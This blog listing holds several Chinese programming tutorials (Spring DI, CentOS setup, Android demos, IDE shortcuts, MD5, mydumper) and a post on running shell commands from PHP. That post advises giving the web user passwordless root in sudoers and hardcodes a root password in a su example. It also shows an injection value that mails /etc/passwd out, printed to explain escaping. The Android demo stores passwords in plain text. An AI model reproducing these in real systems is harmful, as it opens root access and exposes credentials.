intellij IDEA导入外部工程注意事项

例如导入一个eclispe

首先根据import选择eclispe导入

首先要添加tomcat容器

然后添加artifacts,这里面注意output目录,就是部署目录

然后注意facets,这主要是设置你的上面的部署目录的源目录web resource,例如webroot

Posted in 架构运维 | Leave a comment

Java Spring DI 依赖注入教程

本课程讲一下spring的DI,也就是依赖注入,或者说是控制反转IOC,这概念听起来有点高大上,其实则不然,就是一种设计思想,强调解耦你的application中的各个Component,当然没有耦合的应用是没有的,凡事都有度,技术到了一定高度,对这个度的把控就是见仁见智的事情了。

好了,废话没少说,进入正题,我们以spring实战中的例子为基础:在圣斗士星矢中有个骑士,名字叫星矢(本故事纯属虚构,如有雷同,纯属活该),这厮的任务是保护一个小网红,名字叫麦当娜,好吧,这个美好的故事就这样开始了,座位故事的设计者,我这样实现这个故事。

package com.gaoxueping.knights;
public class DamselRescuingKnight implements Knight {
private RescueDamselQuest quest;
public DamselRescuingKnight() {
this.quest = new RescueDamselQuest();
}
public void embarkOnQuest() {
quest.embark();
}
}

以上我们的例子中,在构造函数中,我们为了让星矢实现营救任务,让他自己去实现RescueDamselQuest的实例,因此有了轻微的耦合,

以上我们费尽心机的说了那么多耦合的不好处(在传统EJB中,这个弊端很明显,当然在spring的压迫下,EJB目前也支持DI),就是为了引出dependency injection,也就是依赖注入,还是以星矢营救麦当娜为例子,试想一下,我们如果让星矢去营救麦当娜,至于在营救的过程中需要什么辅助,我们采用按需供给的方式,他需要什么技能,我们就是提供什么,这样的话,星矢只要安心去营救麦当娜好了,其他的概不关心。好的,我们给出我们全新的星矢

package com.gaoxueping.controller;

public class BraveKnight implements Knight {
    private Quest quest;

    public BraveKnight(Quest quest) {
        this.quest = quest;
    }

    public void embarkOnQuest(){
        quest.embark();
    }

}

从这里可以看出,星矢没有自己创建营救任务的实例,营救任务的实例是在构造器中作为参数传入,这是注入的一种方式,叫构造器注入,重要的是,传入的营救任务类型是Quest,比如在营救道路上杀一头拦路驴,在牢房斩掉一扇门的任务都会实现Quest这个接口,因此星矢可以在胜任各种营救任务。

从以上的类中看出,BraveKnight这个类没有与任何Quest耦合,对星矢来说,他的营救任务只是实现了Quest接口,至于这个探险任务是杀一头驴还是炸一扇门,他不需要关心,这就是DI的好处,松耦合。

例如在星矢在营救任务重要杀一头驴,这个任务可以这样来写

package com.gaoxueping.controller;


public class SlayDragonQuest implements Quest {
    public void embark(){
        System.out.println("Embarking on quest to slay the dragon!");
    }
}

 我们接下来将SlayDragonQuest注入到BraveKnight,也就是装配,可以通过java配置,也可以通过xml,通过java配置如下

package com.gaoxueping.controller;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import com.gaoxueping.controller.*;


@Configuration
public class KnightConfig {
    @Bean
    public Knight knight(){
        return new BraveKnight(quest());
    }

    @Bean
    public Quest quest(){
        return new SlayDragonQuest();
    }
}

通过xml配置如下

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
      http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="knight_guy" class="com.gaoxueping.controller.BraveKnight">
        <constructor-arg ref="quest" />
    </bean>

    <bean id="quest" class="com.gaoxueping.controller.SlayDragonQuest">
    </bean>

</beans>

然后我们调用一下试试

package com.gaoxueping.controller;

import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.expression.spel.SpelMessage;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;


@Controller
public class BraveKnightDo {
    @RequestMapping(value = "/knightDo", method = RequestMethod.GET)
    public void knightDo(){
        ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("META-INF/spring/knight.xml");
        Knight knight = context.getBean(Knight.class);
        knight.embarkOnQuest();
    }
}

okay,成功,就这样子

Posted in Java编程语言, 编程语言 | Leave a comment

编译安装nginx

Continue reading

Posted in 架构运维 | Leave a comment

centos yum安装php运行环境 nginx,php,mysql

之前有讲过编译安装环境,本次讲一下通过repo安装,其实国内很多镜像repo可以使用,包括了aliyun,网易,搜狐等,但是这些repo的软件版本可能稍低,比如阿里云的repo的php版本为5.3,所以这里还是使用Fedora提供的extra package,repo地址为

https://webtatic.com/

nginx安装之后你可以通过init script脚本让其根据系统reboot平滑重启,

http://articles.slicehost.com/2009/2/2/centos-adding-an-nginx-init-script

当然,yum安装的话直接通过以下命令加入服务即可

/sbin/chkconfig nginx on

centos6.X版本默认安装了mysql5.1,这个要卸载掉

首先看一下已安装的mysql

rpm -qa | grep mysql

mysql-libs-5.1.73-3.el6_5.x86_64

查看安装软件的路径关系可以通过

rpm -ql mysql-libs-5.1.73-3.el6_5.x86_64

然后卸载掉

rpm -ev mysql-libs-5.1.73-3.el6_5.x86_64

上述命令一般会遇到依赖关系问题,所以直接

yum remove mysql-libs-5.1.73-3.el6_5.x86_64

然后(一下的可以不做)

updatedb

locate mysql

删掉之前的安装文件夹(路径因安装路径而已)

rm -rf /var/lib/mysql
rm /etc/my.cnf
rm -rf /usr/lib/mysql
rm -rf /usr/share/mysql

Posted in 架构运维 | Leave a comment

浅谈Android UI渲染性能检测

谈到Android性能检测、优化,肯定要提到Google发布了关于 Android性能优化典范的专题,建议开发人员观看学习 (https://www.youtube.com/playlist?list=PLWz5rJ2EKKc9CBxr3BVjPTPoDPLdPIFCE)(需爬墙)。

那接下来说些更加直观的观察和量化界面渲染性能好坏的方式!

使用Android官方提供的 GPU呈现模式

这是干嘛的呢?

简单来说:就是查看当前界面是否流畅的一个可量化的工具;


原理是啥?Android系统每16毫秒发出VSYNC(垂直同步)的信号,触发对UI的渲染,

如果整个过程能保证在16毫秒以内,界面看起来就是流畅的;为什么是16毫秒?


简单的说:人眼观看60帧的画面,是很流畅的,再高理论上人眼无法察觉,16毫秒*60约等于1秒。(Android4.1黄油计划)


bilabila了一堆? 怎么用?


那条绿线就是16毫秒的标尺,高于它,也就是丢帧了,越高丢帧越厉害,界面也就越卡顿,反之其他条形线越矮,界面越流畅。

使用Android官方提供的 调试GPU过度绘制

如何打开调试GPU过度绘制?

调试GPU过度绘制

Overdraw的参考图

多次绘制浪费性能,应该尽量避免多次绘制

具体如何避免?前辈们已经说得很清楚了,就不重复造轮子了… (业界大牛都写过相关的博客)

使用一些调测平台的提供的工具

比如腾讯GT;可以方便快速的抓取当前CPU 内存 流量 电量 帧率(流畅度) 等 进行快速方便直接的查看;

【MIG专项测试组】如何准确评测Android应用的流畅度?(http://bugly.qq.com/blog/?p=330)

(下面是部分适合对Android有一定基础的小伙伴使用的方法)

查看GC是否频繁

Java虚拟机在垃圾回收的时候,整个虚拟机都会停止,也就会导致界面渲染停止,

这也就要写代码时,内存分配需要注意;比如尽量避免在for循环中创建对象

使用DDMS ->Allocation tracker 内存分配跟踪工具来辅助查看,来查看内存分配是否异常,有哪些地方内存使用过多等等;

使用 Hierarchy Viewer

检测布局是否有不必要的嵌套,从而达到更快的加载速度;

基本介绍:Hierarchy Viewer是随AndroidSDK发布的工具,位置在tools文件夹下,名为hierarchyviewer.bat。它是Android自带的非常有用而且使用简单的工具,可以帮助我们更好地检视和设计用户界面;


基本使用方法:Hierarchy Viewer 的使用非常简单,启动模拟器或者连接上真机后,启动hierarchyviewer.bat,Devices里列出了可以观察的设备,Windows里列出的是当前选中的设备的可以用来显示View结构的Window.

Posted in Android开发, 移动开发 | Leave a comment

android基础教程-android强制下线和Sharedpreference记住登录

基本文件架构如下

ActivityColletor.java

import java.util.List;

/**
 * 
 */
public class ActivityCollector {
    private static List<Activity> activities = new ArrayList<Activity>();

    public static void addActivity(Activity activity){
        activities.add(activity);
    }

    public static void removeActivity(Activity activity){
        activities.remove(activity);
    }

    public static void finishAll(){
        for(Activity activity:activities){
            if(!activity.isFinishing()){
                activity.finish();
            }
        }
    }
}

重建一个基类

package com.example.hellogxp.sharedpreference3;

import android.app.Activity;
import android.os.Bundle;

import java.util.ArrayList;
import java.util.List;

/**
 * 
 */
public class BaseActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        ActivityCollector.addActivity(this);
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        ActivityCollector.removeActivity(this);
    }
}

强制下线的广播接收器

package com.example.hellogxp.sharedpreference3;

import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.view.Window;
import android.view.WindowManager;

/**
 * 
 */
public class ForceOfflineReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(final Context context, Intent intent) {
        AlertDialog.Builder builder = new AlertDialog.Builder(context);
        builder.setTitle("force offline");
        builder.setMessage("you are force offline,please try login again");
        builder.setCancelable(false);
        builder.setPositiveButton("OK", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialogInterface, int i) {
                ActivityCollector.finishAll();
                Intent intent = new Intent(context, LoginActivity.class);
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(intent);
            }
        });
        AlertDialog alertDialog = builder.create();
        alertDialog.getWindow().setType(WindowManager.LayoutParams.TYPE_SYSTEM_ALERT);
        alertDialog.show();
    }
}

登录的业务逻辑

package com.example.hellogxp.sharedpreference3;

import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.Toast;

public class LoginActivity extends BaseActivity {
    private SharedPreferences sharedPreferences;
    private SharedPreferences.Editor editor;
    private EditText editTextAccount, editTextPassword;
    private Button buttonRememberMe;
    private CheckBox checkBoxRememberMe;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.login);

        sharedPreferences = PreferenceManager.getDefaultSharedPreferences(this);
        editTextAccount = (EditText) findViewById(R.id.account);
        editTextPassword = (EditText) findViewById(R.id.password);
        buttonRememberMe = (Button) findViewById(R.id.login);
        checkBoxRememberMe = (CheckBox) findViewById(R.id.remember_me);

        boolean isRemember = sharedPreferences.getBoolean("remember_me", false);
        if(isRemember){
            String account = sharedPreferences.getString("account", "");
            String password = sharedPreferences.getString("password", "");
            editTextAccount.setText(account);
            editTextPassword.setText(password);
            checkBoxRememberMe.setChecked(true);
        }

        buttonRememberMe.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                String account = editTextAccount.getText().toString();
                String password = editTextPassword.getText().toString();
                if(account.equals("hellogxp") && password.equals("123456")){
                    editor = sharedPreferences.edit();
                    if(checkBoxRememberMe.isChecked()){
                        editor.putString("account", account);
                        editor.putString("password", password);
                        editor.putBoolean("remember_me", true);
                    } else {
                        editor.clear();
                    }
                    editor.commit();
                    Intent intent = new Intent(LoginActivity.this, MainActivity.class);
                    startActivity(intent);
                    finish();
                } else {
                    Toast.makeText(LoginActivity.this, "account or password invalid", Toast.LENGTH_SHORT).show();
                }
            }
        });
    }
}

Main类

package com.example.hellogxp.sharedpreference3;

import android.content.Intent;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button buttonForceOffline = (Button) findViewById(R.id.force_offline);
        buttonForceOffline.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent("com.example.hellogxp.sharedpreference3.FORECE_OFFLINE");
                sendBroadcast(intent);
            }
        });
    }
}

AndroidManifest文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.hellogxp.sharedpreference3">
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        <activity android:name=".LoginActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".MainActivity"></activity>
        <receiver android:name=".ForceOfflineReceiver">
            <intent-filter>
                <action android:name="com.example.hellogxp.sharedpreference3.FORECE_OFFLINE" />
            </intent-filter>
        </receiver>
    </application>

</manifest>

登录布局文件

<?xml version="1.0" encoding="utf-8"?>
<TableLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:stretchColumns="1"
    android:layout_width="match_parent"
    android:layout_height="match_parent">
    <TableRow>
        <TextView
            android:text="@string/account"
            android:layout_height="wrap_content" />
        <EditText
            android:gravity="center"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:hint="@string/account_hint"
            android:id="@+id/account" />
    </TableRow>
    <TableRow>
        <TextView
            android:text="@string/password"
            android:layout_height="wrap_content" />
        <EditText
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:inputType="textPassword"
            android:id="@+id/password" />
    </TableRow>
    <TableRow>
        <CheckBox
            android:id="@+id/remember_me"
            android:layout_height="wrap_content" />
        <TextView
            android:layout_height="wrap_content"
            android:text="@string/remember_me" />
    </TableRow>
    <TableRow>
        <Button
            android:layout_span="2"
            android:text="@string/login"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:id="@+id/login" />
    </TableRow>

</TableLayout>

Main布局文件

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <Button
        android:id="@+id/force_offline"
        android:text="@string/force_offline"
        android:layout_width="match_parent"
        android:layout_height="wrap_content" />
</LinearLayout>

项目下载地址

http://pan.baidu.com/s/1jH7tn4y

Posted in Android开发, 移动开发 | Leave a comment

提高工作效率的神技get,Android studio 常用快捷键整理

文章来自Android Studio Tips Of the Day》,快捷键的使用很大程度上会提高你的工作效率,很多时候,多多使用快捷键,减少鼠标的使用频率,是一种很好zhuangbility技能~高学平

ctrl+f12

此快捷键可以调出当前文件的大纲,并通过模糊匹配快速跳转至指定的方法。
勾选上“show anonymous classes”后其功能相当于Eclipse中的ctrl+o



ctrl+alt+h

查看某个方法的调用路径。


ctrl+shift+i

不离开当前文件当前类的情况下快速查看某个方法或者类的实现。通过大概预览下调用的方法,可以避免许多未知的坑。


f11

将当前位置添加到书签中或者从书签中移除,如其名,书签。帮助快速回到指定的位置,实际使用中简直爽得不行。

shift+f11

显示有哪些书签。


ctrl+shift+a

对于没有设置快捷键或者忘记快捷键的菜单或者动作(Action),可能通过输入其名字快速调用。神技!!!
例如想要编译,只需要输入”release”,则列表框中就会出现”assembleRelease”选项,选择就可以进行编译。


alt+shift+up/down

上下移动行,这个没什么好说的,肯定会用到。


ctrl+y,ctrl+x, ctrl+d

删除行,删除并复制行,复制行并粘贴,必备。

Alt+(1左边的那个键)

此快捷键会显示一个版本管理常用的一个命令,可以通过命令前面的数字或者模糊匹配来快速选择命令。
极大的提高了工作效率,快速提交代码、暂存代码、切分支等操作操作如鱼得水。


ctrl+shift+f12

关闭或者恢复其他窗口。在编写代码的时候非常方便的全屏编辑框,可以更加专心的coding…


ctrl+p

在调用一些方法的时候免不了会忘记或者不知道此方法需要哪些参数。> **ctrl+p`可以显示出此方法需要的参数。必备技能之一。

shift+f6

重命名变量或者方法名。重构神技。


条件断点

通过右键断点,可以对一个断点加入条件。只有当满足条件时,才会进入到断点中。调试神技,只对自己关心的情况进行调试,不浪费时间。


进入调试模式

点击Attach Debugger(即绿色小虫旁边那个)可以快速进入调试而不需要重新部署和启动app。
可以选择为此功能设置一个快捷键或者通过前面提到的Find Actions(ctrl+shift+a)输入”attach”进行调用。


快速查看变量的值

按住Alt点击想要查看的变量或者语句。如果想查看更多,则可以按Alt+f8调出Evaluate Expression窗口来自行输入自定义的语句。


分析堆栈信息

Find Actions(ctrl+shift+a)输入”analyze stacktrace”即可查看堆栈信息。

分析某个值的来源

Find Actions(ctrl+shift+a)输入”Analyze Data Flow to Here”,可以查看某个变量某个参数其值是如何一路赋值过来的。
对于分析代码非常有用。


多行编辑

强大的神技之一,用过vim的vim-multiple-cursors或者Sublime Text的多行编辑都不会忘记那种快感!
也许不是平时用得最多的技能,但是却是关键时刻提高效率的工具。
快捷键:Alt+J


列编辑

在vim中叫作块编辑,同样神技!使用方法:按住Alt加鼠标左键拉框即可
PS:发现Ubuntu下不可用,代替方法为按Alt+Shift+Insert之后拖框选择。
但是经过这么操作之后,神技就大打折扣了。估计是与Ubuntu的快捷键冲突了。

Enter和Tab在代码提示时的区别

最近编辑文件

ctrl+shift+e

前后导航

ctrl+shift+backspace

这个快捷键是上一个的变种,可以在输入的位置来回跳转。想象你正在修复一个糟糕的Bug,你认为你有解决方案,因此你开始修复。但是你突然意识到你需要看一下Android的源码和其他工作中的代码类,于是你打开了一个又一个的方法(脑补一下修改Bug的过程),最终你有了解决思路,然后需要修改的代码和你在哪里?因此你可以使用这个快捷键快速回到你停止输入的地方!!!

Android模板渲染问题,rending problem,

android the following classes could not be found calendarview v7 internal

Fix res/values/styles.xml like so:

<style name="AppTheme" parent="Base.Theme.AppCompat.Light.DarkActionBar"/>

这个Theme.AppCompat.Light.DarkActionBar是base的子类,你可以通过ctrl+click查看其父类

<style name="Theme.AppCompat.Light.DarkActionBar" parent="Base.Theme.AppCompat.Light.DarkActionBar" />

Posted in Android开发 | Leave a comment

基础教程之Android 漂亮聊天APP实现

本例主要是为了讲解ListView用法,仅是个demo

MainActivity.java

package com.gaoxueping.chat3;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class MainActivity extends AppCompatActivity {
    List<Msg> msgList = new ArrayList<Msg>();
    private EditText inputMsg;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        initDatas();
        final ListView listView = (ListView) findViewById(R.id.list_view);
        final MsgAdapter msgAdapter = new MsgAdapter(MainActivity.this, R.layout.msg_item, msgList);
        listView.setAdapter(msgAdapter);

        Button buttonSent = (Button) findViewById(R.id.sent);
        inputMsg = (EditText) findViewById(R.id.input);
        buttonSent.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                String content = inputMsg.getText().toString();
                if(!"".equals(content)){
                    Msg msg = new Msg(content, Msg.TYPE_SENT);
                    msgList.add(msg);
                    msgAdapter.notifyDataSetChanged();
                    listView.setSelection(msgList.size());
                    inputMsg.setText("");
                }
            }
        });
    }

    public void initDatas(){
        String[] originalMsg = {"hello i am alan", "may i help you", "no thanks, dear"};
        for(int i = 0; i < originalMsg.length; i++){
            Msg msg = new Msg(originalMsg[i], i%2);
            msgList.add(msg);
        }
    }
}

MsgAdapter.java

package com.gaoxueping.chat3;

import android.content.Context;
import android.text.Layout;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.LinearLayout;
import android.widget.TextView;

import java.util.List;

/**
 * Created by hellogxp on 2016/8/21.
 */
public class MsgAdapter extends ArrayAdapter<Msg> {
    public int resourceId;
    private View view;
    private ViewHolder viewHolder;
    public MsgAdapter(Context context, int resource, List<Msg> objects) {
        super(context, resource, objects);
        resourceId = resource;
    }

    @Override
    public View getView(int position, View convertView, ViewGroup parent) {
        Msg msg = getItem(position);
        viewHolder = new ViewHolder();
        if(convertView == null){
            view = LayoutInflater.from(getContext()).inflate(resourceId, null);
            viewHolder.layoutLeft = view.findViewById(R.id.layout_left);
            viewHolder.layoutRight = view.findViewById(R.id.layout_right);
            viewHolder.msgLeft = (TextView) viewHolder.layoutLeft.findViewById(R.id.msg_left);
            viewHolder.msgRight = (TextView) viewHolder.layoutRight.findViewById(R.id.msg_right);
            view.setTag(viewHolder);
        } else {
            view = convertView;
            viewHolder = (ViewHolder) view.getTag();
        }
        if(msg.getType() == Msg.TYPE_RECEIVED){
            viewHolder.layoutRight.setVisibility(View.GONE);
            viewHolder.layoutLeft.setVisibility(View.VISIBLE);
            viewHolder.msgLeft.setText(msg.getContent());
        }else if(msg.getType() == Msg.TYPE_SENT){
            viewHolder.layoutRight.setVisibility(View.VISIBLE);
            viewHolder.layoutLeft.setVisibility(View.GONE);
            viewHolder.msgRight.setText(msg.getContent());

        }
        return view;
    }

    class ViewHolder{
        private View layoutLeft, layoutRight;
        private TextView msgLeft, msgRight;
    }
}

msg_item.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <LinearLayout
        android:layout_gravity="left"
        android:id="@+id/layout_left"
        android:gravity="center"
        android:background="@drawable/incoming"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content">

        <TextView
            android:gravity="center"
            android:id="@+id/msg_left"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content" />

    </LinearLayout>

    <LinearLayout
        android:layout_gravity="right"
        android:id="@+id/layout_right"
        android:gravity="center"
        android:background="@drawable/outgoing"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content">

        <TextView
            android:gravity="center"
            android:id="@+id/msg_right"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content" />

    </LinearLayout>

</LinearLayout>

完整实例下载

http://pan.baidu.com/s/1dE1wS3f

Posted in Android开发 | Leave a comment

Linux下PHP不能执行shell命令

PHP作为脚本语言的强大自是不言而喻,但是对开发中的安全问题也是在语言设计中充分考虑,例如php执行shell命令,例如exec,system,shell_exec等命令时候有严格的安全限制,比如在通过web方式,例如url执行exec的时候会返回0,也就是执行失败,究其原因就是因为安全问题,你首先要查看运行php的用户是哪位,这个不同于用户本身的创建者,拥有者和所属组。

echo shell_exec("id -a");

你怒i看到这个用户是apache或者www,这时候其实你如果在php中执行exec(“ls”)其实也是可以的,这是语言的安全策略考虑,如果你非得执行该如何破呢,其实无非就是提高运行php用户的权限了,这里可以这样做,

1 chmod u+w /etc/sudoers

增加 www 用户的 nginx 脚本管理权限 

apache  ALL=(ALL)       NOPASSWD: ALL

3 关闭[强制控制台登录]执行,注释掉这一行

#Defaults    requiretty

4 还原sudo配置文件权限,改成440

chmod u-w /etc/sudoers

然后执行

 exec(“/usr/bin/sudo /path/script.sh”,$result); 

此刻便可以执行shell了,当然,要注意合理设置权限保证安全,因为语言在设计这样的安全策略是做了考虑的,其实我们有很多种更安全的方式来操作,后续再讲。


附录:由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

执行外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证


在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上–with-exec-dir选项来指定,默认是 /usr/local/php/bin。


如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。如何做?
在PHP中调用外部命令,可以用如下三种方法来实现:

1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。


system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
<?php
system(“/usr/local/bin/webalizer/webalizer”);
?>


exec()
原型:string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二 个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
<?php
exec(“/bin/ls -l”);
exec(“/bin/ls -l”, $res);
exec(“/bin/ls -l”, $res, $rc);
?>

passthru()
原型:void passthru (string command [, int return_var])
passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
<?php
header(“Content-type: image/gif”);
passthru(“./ppmtogif hunte.ppm”);
?>

2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
<?php
$fp=popen(“/bin/ls -l”, “r”);
?>

例子2:
<?php
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = “su –login root –command”;
$useradd = “useradd “;
$rootpasswd = “verygood”;
$user = “james”;
$user_add = sprintf(“%s “%s %s””,$sucommand,$useradd,$user);
$fp = @popen($user_add,”w”);
@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
<?php
$res=’/bin/ls -l’;
echo ‘
‘.$res.’
‘;
?>

这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样:
复制代码 代码如下:

<?php
system(“mail $to < products.txt”);
echo “我们的产品目录已经发送到你的信箱:$to”;
?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
‘–bla ; mail someone@domain.com < /etc/passwd ;’
那么这条命令最终变成:
‘mail –bla ; mail someone@domain.com < /etc/passwd ; < products.txt’
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸 好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如:
复制代码 代码如下:

<?php
system(“/usr/local/bin/order_proc > /tmp/null &”);
?>

Posted in 架构运维 | Leave a comment

java与php中的md5互通

其实md5这个算法和语言没有一分钱关系,为什么很多同学在使用不同语言开发的时候,使用md5算法得出的结果会不一样,比如java与php,其实很多时候是由于收到源码文件的影响,比如你java的字符串编码是unicode,不收源码文件影响,而php的编码是和源文件编码一致的,收源码编码影响。

        public String md5(String txt) {
             try{
                  MessageDigest md = MessageDigest.getInstance("MD5");
                  md.update(txt.getBytes("GBK"));    //问题主要出在这里,Java的字符串是unicode编码,不受源码文件的编码影响;而PHP的编码是和源码文件的编码一致,受源码编码影响。
                  StringBuffer buf=new StringBuffer();            
                  for(byte b:md.digest()){
                       buf.append(String.format("%02x", b&0xff));        
                  }
                 return  buf.toString();
               }catch( Exception e ){
                   e.printStackTrace(); 

                   return null;
                } 
        }

Posted in Java编程语言 | Leave a comment

开源MYSQL多线程逻辑导入工具MYLOADER原理与改进

上一篇中,介绍了多线程备份工具mydumper的实现及网易对其所做的优化,本篇聊聊与mydumper配合使用的myloader工具。

myloader是MySQL领域少有的多线程的恢复工具,为了能够更好的理解其如何进行工作,有必要对mydumper所生成的备份结果进行简单介绍,下图即为mydumper 0.9.1版本所输出的备份目录结构:

rds-user@import-blogbench-test:~$lsmydumper-data/
dumpdb.dumptable.00000.sql dumpdb.dumptable-schema.sql dumpdb-schema-post.sql
dumpdb.dumptable.00001.sql dumpdb.dumptable-schema-triggers.sql metadata
dumpdb.dumptable.00002.sql dumpdb.dumptable-schema-view.sql
dumpdb.dumptable.00003.sql dumpdb-schema-create.sql

a、metadata保存一致性数据导出时的BinLog信息和导出开始和结束时间,形如:

Started dump at: 2016-03-20 21:18:54
SHOW MASTER STATUS:
Log: mysql-bin.000027
Pos: 350229576
Finished dump at: 2016-03-20 21:19:04

b、dumpdb和dumptable分别表示导出的数据库和表的名称;
